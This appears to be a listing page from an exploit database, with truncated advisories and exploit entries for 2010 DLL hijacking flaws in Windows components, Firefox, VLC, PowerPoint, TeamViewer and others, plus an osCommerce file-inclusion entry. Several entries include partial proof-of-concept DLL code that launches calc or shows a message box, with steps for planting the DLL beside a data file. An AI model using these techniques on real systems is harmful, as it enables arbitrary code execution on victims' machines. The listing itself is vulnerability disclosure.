CVE-2010-3144

CVE-2010-3144 concerns an insecure library loading vulnerability in the Internet Connection Signup Wizard (ICSW) affecting Windows XP SP2/SP3 and Windows Server 2003 SP2. The root cause is untrusted search path handling that allows loading a Trojan horse DLL (smmscrpt.dll) from the current direct...

CVE-2010-3138

The CVE-2010-3138 issue affects Microsoft Windows XP SP3 with the Indeo Codec (iac25_32.ax) loading an insecure library (iacenc.dll) from the current working directory, enabling local privilege escalation via crafted .avi/.mka/.ra/.ram files (e.g., through players like BS.Player or Media Player C...

CVE-2010-3140

Untrusted search path vulnerability in Microsoft Windows Internet Communication Settings on Windows XP SP3 allows local users, and possibly remote attackers, to execute arbitrary code and conduct DLL hijacking attacks via a Trojan horse schannel.dll that is located in the same folder as an ISP fi...

flash player 9.exe DLL Hijacking Exploit (schannel.dll)

Exploit for windows platform in category local exploits ======================================================= flash player 9.exe DLL Hijacking Exploit schannel.dll ======================================================= flash player 9.exe DLL Hijacking Exploit schannel.dll Author : Mohamed Clay...

osCommerce Online Merchant Remote File Inclusion

Exploit Title: oscommerce-3.0a5 Remote File Inclusion Date: 26-8-2010 Author: LoSt.HaCkEr / aDaMTRoJaN Software Link: http://www.oscommerce.com/solutions/downloads Version: v 3.0 Tested on: Windows XP CVE : Contact: LoSt.HaCkEratyahoodotcom /0r/ [email protected]...

Microsoft Windows wscript.exe (XP) DLL Hijacking Exploit (wshfra.dll)

Exploit for windows platform in category local exploits ===================================================================== Microsoft Windows wscript.exe XP DLL Hijacking Exploit wshfra.dll ===================================================================== Microsoft Windows wscript.exe XP DL...

CVE-2010-3131

Untrusted search path vulnerability in Mozilla Firefox before 3.5.12 and 3.6.x before 3.6.9, Thunderbird before 3.0.7 and 3.1.x before 3.1.3, and SeaMonkey before 2.0.7 on Windows XP allows local users, and possibly remote attackers, to execute arbitrary code and conduct DLL hijacking attacks via...

Design/Logic Flaw

Untrusted search path vulnerability in Mozilla Firefox before 3.5.12 and 3.6.x before 3.6.9, Thunderbird before 3.0.7 and 3.1.x before 3.1.3, and SeaMonkey before 2.0.7 on Windows XP allows local users, and possibly remote attackers, to execute arbitrary code and conduct DLL hijacking attacks via...

CVE-2010-3131

CVE-2010-3131 is an untrusted search path vulnerability in Firefox/SeaMonkey/Thunderbird where dwmapi.dll loaded from the current working directory can be exploited if a malicious HTML/EML file is opened. The issue occurs on Windows (not Linux per the sources) when the browser loads dwmapi.dll at...

CVE-2010-3131

Untrusted search path vulnerability in Mozilla Firefox before 3.5.12 and 3.6.x before 3.6.9, Thunderbird before 3.0.7 and 3.1.x before 3.1.3, and SeaMonkey before 2.0.7 on Windows XP allows local users, and possibly remote attackers, to execute arbitrary code and conduct DLL hijacking attacks via...

Windows Internet Communication Settings DLL Hijacking Exploit

/ Exploit Title: Windows Internet Communication Settings DLL Hijacking Exploit schannel.dll Date: 25/08/2010 Author: ALPdaemon Email: ALPdaemon at yahoo dot com Software Link: N/A Tested on: Windows XP SP3 English Extension: .isp / include int alpdaemon WinExec"calc", SWSHOW; exit0; return 0; BOO...

Adobe ExtendedScript Toolkit CS5 3.5.0.52 DLL Hijacking Exploit

/ Adobe ExtendedScript Toolkit CS5 v3.5.0.52 dwmapi.dll DLL Hijacking Exploit Vendor: Adobe Systems Inc. Product Web Page: http://www.adobe.com Affected Version: CS5 v3.5.0.52 ExtendScript 4.1.23 ScriptUI 5.1.37 Summary: The ExtendScript Toolkit ESTK 3.5.0 is a scripting utility included with...

Cisco Packet Tracer 5.2 DLL Hijacking Exploit

/ Title: Cisco Packet Tracer 5.2 DLL Hijacking Exploit wintab32.dll Date:05/08/2010 Author: CCNA Tested on: Windows XP SP 2 Extension: .pkt .pkz Greets: xokaido, hex, hektor, classical / include define DllExport declspec dllexport DllExport void WTInfoA theCode; DllExport void WTOpenA theCode;...

VLC Media Player DLL Hijacking Exploit

Exploit Title: VLC Player DLL Hijack Vulnerability Date: 25 Aug 2010 Author: Secfence Version: VLC Tested on: Windows XP Place a .mp3 file and wintab32.dll in same folder and execute .mp3 file in vlc player. Code for wintab32.dll: /----------/ / wintab32.cpp / include "stdafx.h" include "dragon.h...

Corel PHOTO-PAINT X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit

Summary Graphic design software for striking visual communication. Description Corel PHOTO-PAINT X3 suffers from a dll hijacking vulnerability that enables the attacker to execute arbitrary code on a local level. The vulnerable extension is .cpt thru crlrib.dll library. / Corel PHOTO-PAINT X3...

Corel PHOTO-PAINT X3 13.0.0.576 DLL Hijacking Exploit

/ Corel PHOTO-PAINT X3 v13.0.0.576 crlrib.dll DLL Hijacking Exploit Vendor: Corel Corporation Product Web Page: http://www.corel.com Affected Version: X3 v13.0.0.576 Summary: Graphic design software for striking visual communication. Desc: Corel PHOTO-PAINT X3 suffers from a dll hijacking...

Ettercap NG 0.7.3 DLL Hijacking Exploit

/ Exploit Title: Ettercap NG-0.7.3 DLL hijacking wpcap.dll Date: 25/08/2010 Author: REMOVED BY REQUEST OF AUTHOR Tested on: Windows XP SP3 Vulnerable extensions: .pcap Compile and rename to wpcap.dll, create a file in the same dir .pcap extension and visit http://chaossecurity.wordpress.com/ /...

Microsoft Office PowerPoint 2007 12.0.4518 DLL Hijacking Exploit

/ Microsoft Office PowerPoint 2007 v12.0.4518 pp4x322.dll DLL Hijacking Exploit Vendor: Microsoft Corp. Product Web Page: http://www.microsoft.com Affected Version: 12.0.4518.1014 MSO 12.0.4518.1014 Summary: Microsoft PowerPoint is a presentation program by Microsoft. It is part of the Microsoft...

Microsoft Internet Connection Signup Wizard DLL Hijacking Exploit

Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles , Dinesh Arora Site : www.BeenuArora.com / Exploit Title: Microsoft Internet Connection Signup Wizard DLL Hijacking Date: 25/08/2010 Author: Beenu Arora Tested on: Windows XP SP3 Vulnerable extensions: .isp Compile and rena...

TeamViewer 5.0.8703 DLL Hijacking Exploit

/ Exploit Title: TeamViewer define DllExport declspec dllexport BOOL WINAPI DllMain HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved dllhijack; return 0; int dllhijack MessageBox0, "TeamViewer DLL Hijacking!", "DLL Message", MBOK; return 0;...